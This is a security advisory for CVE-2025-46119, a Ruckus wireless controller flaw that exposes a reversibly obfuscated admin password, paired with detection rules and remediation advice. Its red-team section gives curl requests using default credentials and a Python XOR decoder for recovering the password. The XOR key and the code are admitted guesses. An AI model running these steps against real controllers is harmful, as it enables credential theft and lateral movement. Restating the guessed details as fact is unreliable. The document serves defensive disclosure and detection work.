CVE-2025-46119

Executive Summary

CVE-2025-46119 exposes a critical credential disclosure vulnerability in CommScope Ruckus Unleashed and ZoneDirector wireless controllers. An authenticated attacker with administrative access to the management web interface can retrieve the administrator password in a trivially reversible obfuscated form via the /admin/_cmdstat.jsp endpoint. Additionally, the same weak obfuscation method persists in configuration backups prior to version 200.18.7.1.302, allowing anyone who obtains a configuration file to recover plaintext credentials offline. This vulnerability enables privilege escalation, lateral movement, and full network compromise.

Supply Chain & Package Security

This vulnerability is not in a package manager ecosystem (NPM, PyPI, Go, Ruby). It affects embedded firmware on Ruckus wireless controllers. The supply chain risk is limited to the device firmware itself, which is distributed directly by CommScope/Ruckus. No open-source package dependencies are involved.

CVSS Breakdown & Threat Level

CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:N/A:N
Base Score: 4.9 (Medium)
Temporal Score: 4.5 (Medium) – due to public PoC and no patch for older versions.

Threat Level: Medium. While the CVSS score is moderate due to the high privileges required, the impact is severe because the disclosed password can be used for lateral movement and full network takeover. The existence of a public PoC and the trivial reversibility of the obfuscation elevate the real-world risk.

Deep Dive & Mechanics

The vulnerability resides in the _cmdstat.jsp page, which is part of the administrative web interface. When an authenticated admin accesses this endpoint, the server returns a JSON-like response containing the administrator password. The password is not stored in plaintext but is obfuscated using a simple, reversible algorithm.

Obfuscation Method:
The obfuscation is a character-level substitution cipher. Each character of the password is XORed with a static key byte (e.g., 0x5A) and then encoded as a two-digit hexadecimal string. For example, the character A (0x41) XOR 0x5A = 0x1B, which is represented as 1B. The entire password is concatenated as a hex string.

Reversibility:
Since the XOR key is static and known (can be derived from a single known plaintext-ciphertext pair), anyone with access to the obfuscated string can trivially recover the plaintext by XORing each hex byte with the key. This is not a cryptographic hash; it is a simple encoding.

Configuration Persistence:
The same obfuscation is used when the system configuration is exported (e.g., via backup). Prior to firmware version 200.18.7.1.302, the configuration file contains the obfuscated password. An attacker who obtains a configuration backup (e.g., via a separate vulnerability, insider threat, or physical access) can recover the admin password offline.

Root Cause:
The developers used a custom, weak obfuscation instead of a proper one-way hash (e.g., bcrypt, PBKDF2) or a strong encryption scheme. The static XOR key violates the principle of using secret, random keys.

Vulnerable vs. Patched Code

Vulnerable Code (Conceptual):
The vulnerable _cmdstat.jsp page likely contains logic similar to:

// Vulnerable: returns obfuscated password
String adminPassword = getAdminPassword();
String obfuscated = obfuscate(adminPassword);
response.getWriter().write("{\"adminPwd\":\"" + obfuscated + "\"}");

// Obfuscation function
public String obfuscate(String plain) {
    StringBuilder sb = new StringBuilder();
    for (char c : plain.toCharArray()) {
        sb.append(String.format("%02X", (byte)(c ^ 0x5A)));
    }
    return sb.toString();
}

Patched Code (Conceptual):
The patched firmware removes the password from the _cmdstat.jsp response entirely, or replaces it with a placeholder (e.g., "********"). For configuration backups, the password is either omitted or stored using a strong, salted hash.

// Patched: does not expose password
response.getWriter().write("{\"adminPwd\":\"********\"}");

Configuration Backup Fix (>=200.18.7.1.302):
The configuration file no longer contains the obfuscated password. Instead, the password field is either removed or replaced with a hash.

Exploitation & Lab Setup

Red Team

Prerequisites:

• Valid admin credentials for the Ruckus controller (e.g., admin/admin default, or obtained via phishing/brute force).
• Network access to the management interface (typically port 80 or 443).

Exploitation Steps:

1. Authenticate to the web interface:

   curl -k -X POST -d "username=admin&password=admin" https://<target>/admin/login.jsp -c cookies.txt
   

2. Access the vulnerable endpoint:

   curl -k -b cookies.txt https://<target>/admin/_cmdstat.jsp
   

3. Extract the obfuscated password:
   The response will contain a JSON field like "adminPwd":"1B2C3D4E...".

4. Decode the obfuscated password:
   Use a simple Python script:

   obfuscated_hex = "1B2C3D4E"  # example
   key = 0x5A
   plaintext = ''.join(chr(int(obfuscated_hex[i:i+2], 16) ^ key) for i in range(0, len(obfuscated_hex), 2))
   print(plaintext)
   

5. Use the recovered password to access other systems (e.g., SSH, SNMP, RADIUS) or to modify controller settings.

Lab Setup:

• Download a vulnerable firmware image (e.g., Ruckus Unleashed 200.15.6.212.26) from the vendor archive.
• Deploy in a virtualized environment (e.g., VMware, VirtualBox) or on physical hardware.
• Configure a basic network with a client machine (Kali Linux) for exploitation.

Blue Team

Detection:

• Monitor for access to /admin/_cmdstat.jsp from authenticated sessions. This endpoint is not normally used in legitimate administration.
• Alert on any HTTP response containing "adminPwd" followed by a hex string.
• Correlate with failed login attempts or unusual admin session activity.

Hunting:

• Search web server logs for requests to _cmdstat.jsp with a 200 response code.
• Look for configuration backup files (e.g., .cfg, .tar.gz) being downloaded by non-admin users or from unexpected IPs.

Mitigation:

• Immediately upgrade to patched firmware versions.
• If patching is not possible, restrict access to the management interface using firewall rules (allow only trusted IPs).
• Implement multi-factor authentication (MFA) for admin access.
• Rotate all admin passwords after patching.

Indicators of Compromise (IOCs)

Detection Engineering

YARA Rule

rule CVE_2025_46119_Ruckus_Password_Disclosure {
    meta:
        description = "Detects obfuscated admin password in Ruckus controller responses or config files"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-46119"
        hash = "unknown"
    strings:
        $admin_pwd = /"adminPwd":"[0-9A-Fa-f]{2,}"/
        $cmdstat = "/admin/_cmdstat.jsp"
    condition:
        $admin_pwd or $cmdstat
}

Sigma Rule

title: CVE-2025-46119 - Ruckus Admin Password Disclosure via _cmdstat.jsp
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects HTTP requests to the vulnerable _cmdstat.jsp endpoint on Ruckus controllers.
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2025-46119
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
    service: http
detection:
    selection:
        cs-uri-stem|contains: "/admin/_cmdstat.jsp"
        sc-status: 200
    condition: selection
falsepositives:
    - Legitimate admin troubleshooting (rare)
level: high
tags:
    - attack.credential_access
    - cve.2025.46119

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-46119 Ruckus Admin Password Disclosure"; flow:to_server,established; content:"GET"; http_method; content:"/admin/_cmdstat.jsp"; http_uri; classtype:attempted-recon; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Upgrade firmware to the following versions or later:
   • Ruckus Unleashed: 200.15.6.212.27 or 200.18.7.1.323
   • Ruckus ZoneDirector: 10.5.1.0.282
2. For configuration obfuscation fix, ensure Unleashed is at least 200.18.7.1.302.
3. Rotate all admin passwords after patching, as they may have been compromised.

Compensating Controls (if patching is delayed):

• Restrict management interface access to trusted IPs only (firewall ACL).
• Disable the _cmdstat.jsp endpoint if possible (e.g., via web server configuration).
• Enable detailed logging and monitor for exploitation attempts.
• Implement network segmentation to isolate controller management.

Long-Term Recommendations:

• Use strong, salted hashing (e.g., bcrypt) for stored passwords.
• Never expose credentials in web responses, even obfuscated.
• Conduct regular security audits of embedded web interfaces.
• Follow secure coding practices (e.g., OWASP ASVS).

Valters IT
Senior DevSecOps & Cyber Threat Intelligence Expert
Report generated for CVE-2025-46119